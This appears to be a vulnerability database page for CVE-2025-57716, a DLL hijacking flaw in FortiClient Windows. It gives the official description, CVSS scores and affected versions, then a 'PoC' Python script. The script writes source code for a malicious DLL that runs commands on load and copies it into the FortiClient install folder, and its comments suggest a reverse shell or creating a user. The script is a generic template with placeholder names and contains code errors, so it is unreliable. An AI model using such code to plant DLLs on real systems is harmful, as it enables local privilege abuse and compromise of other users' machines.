Security Vulnerability Report
中文
CVE-2025-57716 CVSS 6.7 MEDIUM

CVE-2025-57716

Published: 2025-10-14 16:15:40
Last Modified: 2025-10-15 17:21:15

Description

An Uncontrolled Search Path Element vulnerability [CWE-427] in FortiClient Windows 7.4.0 through 7.4.3, 7.2.0 through 7.2.11, 7.0 all versions may allow a local low privileged user to perform a DLL hijacking attack via placing a malicious DLL to the FortiClient Online Installer installation folder.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:windows:*:* - VULNERABLE
FortiClient Windows 7.4.0
FortiClient Windows 7.4.1
FortiClient Windows 7.4.2
FortiClient Windows 7.4.3
FortiClient Windows 7.2.0
FortiClient Windows 7.2.1
FortiClient Windows 7.2.2
FortiClient Windows 7.2.3
FortiClient Windows 7.2.4
FortiClient Windows 7.2.5
FortiClient Windows 7.2.6
FortiClient Windows 7.2.7
FortiClient Windows 7.2.8
FortiClient Windows 7.2.9
FortiClient Windows 7.2.10
FortiClient Windows 7.2.11
FortiClient Windows 7.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57716 - FortiClient Windows DLL Hijacking PoC # This PoC demonstrates the DLL hijacking technique targeting FortiClient Online Installer # Note: This is for educational and authorized testing purposes only import os import shutil # Target DLL name that FortiClient Online Installer attempts to load # The actual DLL name depends on which DLL is vulnerable to hijacking TARGET_DLL = "vulnerable_component.dll" # FortiClient Online Installer installation directory (default path) INSTALL_DIR = r"C:\Program Files\Fortinet\FortiClient\" def create_malicious_dll(): """ Create a malicious DLL that will be loaded by FortiClient Online Installer. The DLL should export the same functions as the legitimate DLL to avoid errors, while executing malicious code in DllMain. """ malicious_dll_code = ''' #include <windows.h> #include <stdio.h> // Export the same functions as the legitimate DLL __declspec(dllexport) int LegitimateFunction1() { return 0; } __declspec(dllexport) int LegitimateFunction2() { return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { // Malicious code executes here when DLL is loaded // Example: spawn a reverse shell, create a user, etc. system("cmd.exe /c whoami > C:\\temp\\pwned.txt"); // Disable file system redirection for 64-bit systems if needed // Execute payload with elevated context HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Payload, NULL, 0, NULL); if (hThread) CloseHandle(hThread); } return TRUE; } DWORD WINAPI Payload(LPVOID lpParam) { // Insert malicious payload here // This runs in the context of FortiClient process return 0; } ''' with open("malicious_dll.c", "w") as f: f.write(malicious_dll_code) print("[*] Malicious DLL source code created: malicious_dll.c") print("[*] Compile with: x86_64-w64-mingw32-gcc -shared -o " + TARGET_DLL + " malicious_dll.c") def deploy_malicious_dll(target_dir): """ Deploy the malicious DLL to the FortiClient installation directory. Requires write access to the installation directory (low privilege may suffice depending on directory permissions). """ if not os.path.exists(target_dir): print(f"[-] Target directory does not exist: {target_dir}") return False # Check if we have write permissions test_file = os.path.join(target_dir, "test_write.tmp") try: with open(test_file, "w") as f: f.write("test") os.remove(test_file) print(f"[+] Write access confirmed to: {target_dir}") except PermissionError: print(f"[-] No write access to: {target_dir}") return False # Deploy malicious DLL dest = os.path.join(target_dir, TARGET_DLL) if os.path.exists("malicious_dll.dll"): shutil.copy2("malicious_dll.dll", dest) print(f"[+] Malicious DLL deployed to: {dest}") print("[+] Waiting for FortiClient Online Installer to load the malicious DLL...") return True else: print("[-] Compiled malicious DLL not found. Compile first.") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-57716 - FortiClient DLL Hijacking PoC") print("=" * 60) # Step 1: Create malicious DLL source create_malicious_dll() # Step 2: Deploy to FortiClient installation directory # Note: In a real attack, the attacker would need to: # 1. Find the actual installation path # 2. Have write access to that directory # 3. Wait for the installer to run (user interaction required) deploy_malicious_dll(INSTALL_DIR)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57716", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:40.113", "lastModified": "2025-10-15T17:21:15.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Uncontrolled Search Path Element vulnerability [CWE-427] in FortiClient Windows 7.4.0 through 7.4.3, 7.2.0 through 7.2.11, 7.0 all versions may allow a local low privileged user to perform a DLL hijacking attack via placing a malicious DLL to the FortiClient Online Installer installation folder."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:windows:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.2.12", "matchCriteriaId": "93305AAD-0315-4D4E-92FB-03665C2CB01B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:windows:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.4", "matchCriteriaId": "51121FCA-2CA9-4B4B-A27C-C4729AB797BB"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-685", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}